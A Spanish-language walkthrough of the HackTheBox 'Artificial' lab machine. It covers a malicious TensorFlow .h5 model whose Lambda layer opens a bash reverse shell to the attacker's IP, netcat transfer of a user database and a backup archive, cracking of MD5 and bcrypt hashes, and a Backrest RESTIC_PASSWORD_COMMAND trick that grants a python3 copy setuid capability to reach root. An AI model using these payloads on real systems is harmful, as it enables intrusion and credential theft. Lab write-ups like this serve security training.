Artificial – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Plataforma: HackTheBox

Avatar artificial


Resumen Link to heading

“Artificial” es una máquina de dificultad Fácil de la plataforma HackTheBox. La máquina víctima se encuentra corriendo un servidor web el cual permite ejecutar modelos de Tensorflow sin ningún tipo de sanitización. Esto permite dar un modelo malicioso el cual ejecuta remotamente comandos, ganando así acceso al sistema. Una vez dentro, somos capaces de encontrar una contraseña para un usuario dentro de una base de datos SQLite. También encontramos un servicio interno en la máquina víctima corriendo Backrest (una herramienta usada para crear respaldos/backups). Somos capaces de encontrar credenciales para este servicio, añadir una tarea maliciosa y ejecutar comandos como el usuario root, comprometiendo así el sistema.


User / Usuario Link to heading

Empezamos buscando por puertos TCP abiertos con un rápido escaneo con Nmap:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.71.232

Del escaneo sólo podemos ver 2 puertos abiertos: 22 SSH y 80 HTTP. Aplicamos algunos scripts de reconocimiento sobre estos puertos TCP con la flag -sVC en Nmap:

❯ sudo nmap -sVC -p22,80 10.129.71.232

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-21 17:14 -04
Nmap scan report for 10.129.71.232
Host is up (0.32s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.85 seconds

El puerto 80 HTTP redirige a un dominio: artificial.htb.

Agregamos este dominio a nuestro archivo /etc/hosts en nuestra máquina de atacantes, junto con la IP de la máquina víctima. Para este propósito ejecutamos en una terminal:

❯ echo '10.129.71.232 artificial.htb' | sudo tee -a /etc/hosts

Usamos la herramienta WhatWeb en contra del sitio HTTP para reconocer posibles tecnologías que el servicio web esté utilizando:

❯ whatweb -a 3 http://artificial.htb

http://artificial.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.71.232], Script, Title[Artificial - AI Solutions], nginx[1.18.0]

El servidor web está corriendo con Nginx.

Visitando así http://artificial.htb en un navegador de internet muestra una página relacionada a Inteligancia Artificial (IA):

Artificial

La página aparentemente recibe códigos de Python para modelos de IA. La página da un código de ejemplo:

import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers

np.random.seed(42)

# Create hourly data for a week
hours = np.arange(0, 24 * 7)
profits = np.random.rand(len(hours)) * 100

# Create a DataFrame
data = pd.DataFrame({
    'hour': hours,
    'profit': profits
})

X = data['hour'].values.reshape(-1, 1)
y = data['profit'].values

# Build the model
model = keras.Sequential([
    layers.Dense(64, activation='relu', input_shape=(1,)),
    layers.Dense(64, activation='relu'),
    layers.Dense(1)
])

# Compile the model
model.compile(optimizer='adam', loss='mean_squared_error')

# Train the model
model.fit(X, y, epochs=100, verbose=1)

# Save the model
model.save('profits_model.h5')

Pero, de momento, esto no nos da mucha información; sólo que se utiliza la librería Tensorflow.

Clickeamos en la pestaña Register para registrar un usuario (la cual redirige a http://artificial.htb/register). Una vez creado el usuario, logueamos como este usuario clickeando en la pestaña Login (la cual redirige a http://artificial.htb/login). Hecho esto, ahora podemos ver:

Artificial 2

Tal parece ser que podemos subir modelos para que el sitio web los pruebe.

Adicionalmente, la página nos dice que si queremos “construir” un modelo podemos ver el archivo requirements.txt (localizado en http://artificial.htb/static/requirements.txt). requirements.txt, muestra -como ya habíamos visto- que requerimos de la librería TensorFlow -una librería de Python- para construir los modelos:

❯ cat requirements.txt

tensorflow-cpu==2.13.1

Alternativamente, podemos usar Docker junto con el archivo Dockerfile dado (localizado en http://artificial.htb/static/Dockerfile):

❯ cat Dockerfile

FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
    rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]

Personalmente, prefiero usar un contenedor con Docker para no romper nada en mi sistema. Para este propósito, primero empezamos el demonio (daemon) de Docker:

❯ sudo systemctl start docker

Y construimos una imagen usando el archivo Dockerfile:

❯ docker build -t tensorflow-image .

<SNIP>

Donde hemos decidido llamar la imagen como tensorflow-image dado que ésta se instalará con TensorFlow.

Una vez construida, podemos tratar de acceder al contenedor:

❯ docker run -it tensorflow-image

root@2a833930630d:/code#

Buscando cómo inyectar comandos para TensorFlow encontramos este repositorio. Allí, se da un archivo exploit.py cuyo contenido es:

import tensorflow as tf

def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 6666 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

Cambiamos así el comando a ejecutar por uno que envíe una reverse shell a nuestra máquina de atacantes con /bin/bash:

import tensorflow as tf

def exploit(x):
    import os
    os.system("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.80/443 0>&1'")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("gunzf0x.h5")

Donde 10.10.16.80 es nuestra IP de atacantes y 443 el puerto en el cual nos pondremos en espera con netcat.

Podemos escribir el contenido del exploit dado son necesidad de un editor de texto simplemente usando cat:

root@2a833930630d:/code# cat <<EOF > exploit.py
> import tensorflow as tf
>
> def exploit(x):
>     import os
>     os.system("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.80/443 0>&1'")
>     return x
>
> model = tf.keras.Sequential()
> model.add(tf.keras.layers.Input(shape=(64,)))
> model.add(tf.keras.layers.Lambda(exploit))
> model.compile()
> model.save("gunzf0x.h5")
> EOF

Y revisamos que el archivo ha sido escrito:

root@2a833930630d:/code# ls

exploit.py  tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

Hecho esto, corremos el exploit. Esto debería de generar un archivo .h5, el cual en mi caso (tal cual he definido en el exploit) debería de llamarse gunzf0x.h5:

root@2a833930630d:/code# python3 exploit.py

2025-06-22 04:03:22.624564: I tensorflow/core/platform/cpu_feature_guard.cc:182] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
/bin/bash: connect: Connection refused
/bin/bash: line 1: /dev/tcp/10.10.16.80/443: Connection refused
/usr/local/lib/python3.8/site-packages/keras/src/engine/training.py:3000: UserWarning: You are saving your model as an HDF5 file via `model.save()`. This file format is considered legacy. We recommend using instead the native Keras format, e.g. `model.save('my_model.keras')`.
  saving_api.save_model(
  
root@2a833930630d:/code# ls -la

total 182180
drwxr-xr-x 1 root root      4096 Jun 22 04:03 .
drwxr-xr-x 1 root root      4096 Jun 22 03:51 ..
-rw-r--r-- 1 root root       307 Jun 22 04:02 exploit.py
-rw-r--r-- 1 root root      9952 Jun 22 04:03 gunzf0x.h5
-rw-r--r-- 1 root root 186523151 Jun 22 03:46 tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

Éste se encuentra guardado en el directorio /code:

root@269ccbc09f56:/code# pwd

/code

Finalmente, pasamos el archivo .h5 malicioso desde el container de Docker a nuestra máquina de atacantes. Para ello primero debemos obtener el ID del container corriendo TensorFlow:

❯ docker ps -a

CONTAINER ID   IMAGE                          COMMAND                  CREATED          STATUS                      PORTS     NAMES
2a833930630d   tensorflow-image               "/bin/bash"              26 minutes ago   Exited (0) 4 minutes ago              elastic_almeida

Luego, usamos el comando docker cp para copiar el archivo .h5 del container (usando su ID 2a83... del comando previo) a nuestra máquina de atacantes:

❯ docker cp 2a833930630d:/code/gunzf0x.h5 ./gunzf0x.h5

Successfully copied 11.8kB to /home/gunzf0x/HTB/HTBMachines/Easy/Artificial/content/gunzf0x.h5

Luego, volvemos a la página web principal y subimos el archivo .h5 generado:

Artificial 3

Empezamos una shell con netcat por el puerto 443:

❯ nc -lvnp 443

listening on [any] 443 ...

Y clickeamos en el botón View Predictions.

Obtenemos así una shell como el usuario app:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.80] from (UNKNOWN) [10.129.71.232] 36332
bash: cannot set terminal process group (905): Inappropriate ioctl for device
bash: no job control in this shell
app@artificial:~/app$ whoami

whoami
app

Además del usuario app, existe otro usuario llamado gael:

app@artificial:~/app$ ls -la /home

ls -la /home
total 16
drwxr-xr-x  4 root root 4096 Jun 18 13:19 .
drwxr-xr-x 18 root root 4096 Mar  3 02:50 ..
drwxr-x---  6 app  app  4096 Jun  9 10:52 app
drwxr-x---  4 gael gael 4096 Jun  9 08:53 gael

En el directorio actual de trabajo tenemos un archivo app.py. Leyéndolo, éste es un código algo largo. No obstante, hay una parte que da instrucciones acerca de la base de datos que se usa:

<SNIP>
app = Flask(__name__)
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'models'
<SNIP>

Tenemos una “secret key” (llave secreta) y una base de datos users.db.

Esta base de datos se encuentra localizada en el directorio /home/app/app/instance tal cual podemos hallar con find:

app@artificial:~/app$ find . -name "users.db" -exec ls -la {} \; 2>/dev/null

find . -name "users.db" -exec ls -la {} \; 2>/dev/null
-rw-r--r-- 1 app app 24576 Jun 22 04:24 ./instance/users.db

Buscando por potenciales respaldos (backups) en el sistema, obtenemos:

app@artificial:~/app$ find / -name "*backup*" 2>/dev/null
find / -name "*backup*" 2>/dev/null

/home/app/.local/lib/python3.8/site-packages/tensorflow/include/external/com_github_grpc_grpc/src/core/ext/filters/client_channel/backup_poller.h
/usr/sbin/vgcfgbackup
/usr/lib/python3/dist-packages/sos/report/plugins/ovirt_engine_backup.py
/usr/lib/python3/dist-packages/sos/report/plugins/__pycache__/ovirt_engine_backup.cpython-38.pyc
/usr/lib/modules/5.4.0-216-generic/kernel/drivers/net/team/team_mode_activebackup.ko
/usr/lib/modules/5.4.0-216-generic/kernel/drivers/power/supply/wm831x_backup.ko
/usr/lib/x86_64-linux-gnu/open-vm-tools/plugins/vmsvc/libvmbackup.so
/usr/share/man/man8/vgcfgbackup.8.gz
/usr/share/bash-completion/completions/vgcfgbackup
/usr/src/linux-headers-5.4.0-216-generic/include/config/net/team/mode/activebackup.h
/usr/src/linux-headers-5.4.0-216-generic/include/config/wm831x/backup.h
/usr/src/linux-headers-5.4.0-216/tools/testing/selftests/net/tcp_fastopen_backup_key.sh
/var/backups
/var/backups/backrest_backup.tar.gz
/etc/lvm/backup

Hay un directorio /var/backups:

app@artificial:~/app$ ls -la /var/backups

ls -la /var/backups
total 51228
drwxr-xr-x  2 root root       4096 Jun 21 19:27 .
drwxr-xr-x 13 root root       4096 Jun  2 07:38 ..
-rw-r--r--  1 root root      38602 Jun  9 10:48 apt.extended_states.0
-rw-r--r--  1 root root       4253 Jun  9 09:02 apt.extended_states.1.gz
-rw-r--r--  1 root root       4206 Jun  2 07:42 apt.extended_states.2.gz
-rw-r--r--  1 root root       4190 May 27 13:07 apt.extended_states.3.gz
-rw-r--r--  1 root root       4383 Oct 27  2024 apt.extended_states.4.gz
-rw-r--r--  1 root root       4379 Oct 19  2024 apt.extended_states.5.gz
-rw-r--r--  1 root root       4367 Oct 14  2024 apt.extended_states.6.gz
-rw-r-----  1 root sysadm 52357120 Mar  4 22:19 backrest_backup.tar.gz

Éste contiene un archivo backrest_backup.tar.gz, pero sólo root puede leerlo. No obstante, es un descurbimiento interesante a tener en cuenta luego.

Para pasar el archivo users.db de la máquina víctima a nuestra máquina de atacantes usamos netcat. En nuestra máquina de atacantes, empezamos un nuevo listener con nc en otra terminal por el puerto 9001 y guardamos todo lo recibido en un archivo:

❯ nc -lvnp 9001 > users.db

listening on [any] 9001 ...

Y en la máquina víctima pasamos el archivo usando netcat ejecutando:

app@artificial:~/app$ nc 10.10.16.80 9001 < /home/app/app/instance/users.db

Luego de algún tiempo podemos presionar Ctrl+C en nuestra máquina de atacantes para concluir la transferencia del archivo.

Éste es un archivo SQLite:

❯ file users.db

users.db: SQLite 3.x database, last written using SQLite version 3031001, file counter 20, database pages 6, cookie 0x2, schema 4, UTF-8, version-valid-for 20

Luego, chequeamos este archivo para buscar por potenciales contraseñas:

❯ sqlite3 users.db

SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.

sqlite> SELECT tbl.name, col.name FROM sqlite_master tbl JOIN pragma_table_info(tbl.name) col WHERE col.name LIKE '%pass%' OR col.name LIKE '%pwd%';

user|password

Existe una columna password en la tabla user.

Esta tabla contiene, como no es sorpresa, hashes de contraseña:

sqlite> PRAGMA table_info(user);

0|id|INTEGER|1||1
1|username|VARCHAR(100)|1||0
2|email|VARCHAR(120)|1||0
3|password|VARCHAR(200)|1||0

Por lo que extraemos su contenido:

sqlite> SELECT username,password FROM user;

gael|c99175974b6e192936d97224638a34f8
mark|0f3d8c76530022670f1c6029eed09ccb
robert|b606c5f5136170f15444251665638b36
royer|bc25b1f80f544c0ab451c02a3dca9fc6
mary|bf041041e57f1aff3be7ea1abd6129d0
gunzf0x|7a73087e50057ec71981653afc3ac2b1

Tenemos el hash de la contraseña del usuario gael, usuario el cual ya vimos que existía en el sistema.

Este hash tiene 32 caracteres de largo, lo cual podría indicar que este es un hash de tipo MD5:

❯ echo -n 'c99175974b6e192936d97224638a34f8' | wc -c

32

Guardamos este hash en un archivo en nuestra máquina de atacantes e intentamos crackearlo a través de un Brute Force Password Cracking con la herramienta JohnTheRipper (john) junto con el diccionario de contraseñas rockyou.txt:

❯ john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt gael_md5_hash

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
mattp005numbertwo (?)
1g 0:00:00:01 DONE (2025-06-22 00:54) 0.8771g/s 5018Kp/s 5018Kc/s 5018KC/s mattpapa..mattlvsbree
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Obtenemos una contraseña: mattp005numbertwo.

Revisamos si esta contraseña funciona para el servicio SSH como el usuario gael usando la herramienta NetExec:

❯ nxc ssh artificial.htb -u 'gael' -p 'mattp005numbertwo'

SSH         10.129.71.232   22     artificial.htb   [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13
SSH         10.129.71.232   22     artificial.htb   [+] gael:mattp005numbertwo  Linux - Shell access!

¡Funciona!

Podemos entonces acceder a la máquina víctima utilizando la contraseña del usuario gael ante el servicio SSH:

❯ sshpass -p 'mattp005numbertwo' ssh -o stricthostkeychecking=no gael@artificial.htb

<SNIP>
Last login: Sun Jun 22 04:58:50 2025 from 10.10.16.80

gael@artificial:~$

Podemos extraer la flag de usuario.


Root Link to heading

Si revisamos puertos internos abiertos tenemos:

gael@artificial:~$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   2048                                 127.0.0.1:5000                                  0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:9898                                  0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:80                                    0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                    0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                    0.0.0.0:*
LISTEN              0                   511                                       [::]:80                                       [::]:*
LISTEN              0                   128                                       [::]:22                                       [::]:*

Tenemos 2 puertos desconocidos (que no se mostraron con el escaneo de Nmap inicial): 5000 y 9898.

Podemos revisar con cURL que ambos puertos están corriendo sitios web:

gael@artificial:~$ curl -I http://127.0.0.1:5000

HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Sun, 22 Jun 2025 05:04:47 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 5442

gael@artificial:~$ curl -I http://127.0.0.1:9898

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Encoding: gzip
Content-Type: text/html; charset=utf-8
Etag: "8cc2ece8aafc605ef9a85fffce012901"
Date: Sun, 22 Jun 2025 05:04:56 GMT

Para tener acceso a estos peurtos internos podemos intentar un Local Port Forwarding dado que tenemos conexión por SSH. Nos deconectamos de la sesión actual y reconectamos como el usuario gael, pero esta vez ejecutando:

❯ sshpass -p 'mattp005numbertwo' ssh -o stricthostkeychecking=no -L 5000:127.0.0.1:5000 -L 9898:127.0.0.1:9898 gael@artificial.htb

Esto convierte el puerto 5000 de la máquina víctima en nuestro puerto 5000, y lo mismo para el puerto 9898.

Visitando http://127.0.0.1:5000 simplemente muestra la página web que ya habíamos visto anteriormente (por lo que probablemente sea un reverse proxy). Por otro lado, visitando http://127.0.0.1:9898 muestra un nuevo sitio web:

Artificial 4

Parece ser la página web para la herramienta Backrest.

Información
Backrest is a web-based user interface (UI) and orchestrator built on top of the Restic backup software. It provides a user-friendly way to manage and automate backups, simplifying the use of Restic. Backrest allows users to create repositories, schedule backups, browse snapshots, and restore files through its web interface.
En corto, es una herramienta que facilita el realizar respaldos (backups) del sistema.

También tenemos una versión de éste: 1.7.2. No obstante, buscando por exploits para esta versión no encontramos nada. Por lo que puede no ser vulnerable a exploits conocidos.

Ya que el usuario gael es parte del grupo sysadm (lo cual se puede saber ejecutando el comando id), buscamos por archivos a los cuales tengan acceso este grupo con el comando find:

gael@artificial:~$ find / -group sysadm -ls 2>/dev/null

293066  51132 -rw-r-----   1 root     sysadm   52357120 Mar  4 22:19 /var/backups/backrest_backup.tar.gz

Obtenemos un archivo: /var/backups/backrest_backup.tar.gz. Este archivo es el mismo que habíamos hallado previamente.

De manera similar a como transferimos el archivo users.db con netcat, transferimos el archivo tar.gz usando netcat a nuestra máquina de atacantes. En nuestra máquina de atacantes ejecutamos:

❯ nc -lvnp 9001 > backrest_backup.tar.gz

listening on [any] 9001 ...

Y en la máquina víctima ejecutamos:

gael@artificial:~$ nc 10.10.16.80 9001 < /var/backups/backrest_backup.tar.gz

Luego de algún tiempo, presionamos Ctrl+C en nuestra máquina de atacantes para concluir la descarga.

Extraemos el contenido de este archivo en nuestra máquina de atacantes:

❯ mkdir extracted_backup

❯ tar -xf backrest_backup.tar.gz -C ./extracted_backup/

Revisando así por potenciales contraseñas con grep en los directorios extraídos obtenemos:

❯ grep -irE 'password|passwd' . 2>/dev/null

grep: ./users.db: binary file matches
grep: ./extracted_backup/backrest/backrest: binary file matches
grep: ./extracted_backup/backrest/restic: binary file matches
./extracted_backup/backrest/.config/backrest/config.json:        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
grep: ./backrest_backup.tar.gz: binary file matches

Podemos ver lo que parece ser una contraseña:

JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP

No obstante, este hash se encuentra en base64. Podemos guardar el hash decodeado en un archivo:

❯ echo -n 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d

$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

❯ echo -n 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d > backup_hash

Y tratar de crackearlo nuevamente usando john:

❯ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt backup_hash

Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^           (?)
1g 0:00:00:25 DONE (2025-06-22 01:30) 0.03996g/s 215.8p/s 215.8c/s 215.8C/s hearts1..huevos
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Obtenemos una contraseña: !@#$%^. Pero todavía no tenemos un usuario.

Revisamos el archivo del cual hemos extraído el hash originalmente, llamado config.json. Revisando su contenido tenemos:

{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

Tenemos lo que parece ser un usuario: backrest_root.

De vuelta al panel de Backrest en http://127.0.0.1:9898 usamos estas credenciales: usuario backrest_root y contraseña !@#$%^. Estamos dentro:

Artificial 5

Ahora bien, una cosa a saber de Backrest es que esta herramienta usa otra llamada Restic:

Información
Restic is a versatile, open-source backup program known for its speed, security, and efficiency. It supports multiple operating systems (Linux, macOS, Windows, BSD) and a variety of storage backends, including local storage, cloud services (like AWS, Google Cloud), and other remote machines. Restic excels at deduplication, encryption, and compression, making it a robust choice for backing up data.
Es un programa para realizar backups. Por lo que Backrest facilita el uso de Restic.

Dado se usa Restic podemos tratar de ejecutar comandos a través de éste dado que Backrest también lo usa. De la documentación de Restic vemos que se pueden definir variables de entorno, las cuales a su vez se pueden usar para ejecutar scripts. Para esto podemos definir la variable de entorno:

RESTIC_PASSWORD_COMMAND

Y definirla a ésta como un comando/script de Bash.

Primero que todo, creamos un script malicioso en Bash el cual creará una copia maliciosa de python3 y, a aquella copia, le asignará “capabilities”. Esto nos permitirá utilizar aquella copia para elevar privilegios. En una terminal realizamos esta acción a través de un script de Bash y le asignamos permisos de ejecución luego de crearlo con chmod +x:

gael@artificial:~$ echo -e '#!/bin/bash\n\ncp $(which python3) /tmp/gunzf0x; sudo setcap cap_setuid+ep /tmp/gunzf0x' > /tmp/payload

gael@artificial:~$ chmod +x /tmp/payload

Donde hemos creado el payload con nombre /tmp/payload cuyo contenido es:

#!/bin/bash

cp $(which python3) /tmp/gunzf0x; sudo setcap cap_setuid+ep /tmp/gunzf0x

Por tanto, en la sesión de Backrest, clickeamos en + Add Repo, rellenamos los campos requeridos con data aleatoria y agregamos la variable de entorno apuntando hacia nuestro payload malicioso:

Artificial 6

Luego podemos ir hacia la parte inferior y presionar el botón Submit.

Obtenemos un mensaje de error, pero si revisamos el directorio /tmp nuestro archivo malicioso ha sido creado:

gael@artificial:~$ ls -la /tmp

total 5412
drwxrwxrwt 11 root root    4096 Jun 22 05:54 .
drwxr-xr-x 18 root root    4096 Mar  3 02:50 ..
drwxrwxrwt  2 root root    4096 Jun 22 03:36 .font-unix
-rwxr-xr-x  1 root root 5490456 Jun 22 05:54 gunzf0x
drwxrwxrwt  2 root root    4096 Jun 22 03:36 .ICE-unix
-rwxrwxr-x  1 gael gael      86 Jun 22 05:54 payload
<SNIP>

Finalmente, podemos usar este archivo con “capabilities” (el cual no es más que una copia del binario de python3) para elevar privilegios:

gael@artificial:~$ /tmp/gunzf0x -c 'import os; os.setuid(0); os.system("/bin/sh")'

# whoami
root

GG. Podemos leer la flag del usuario root en el directorio /root.

~Happy Hacking.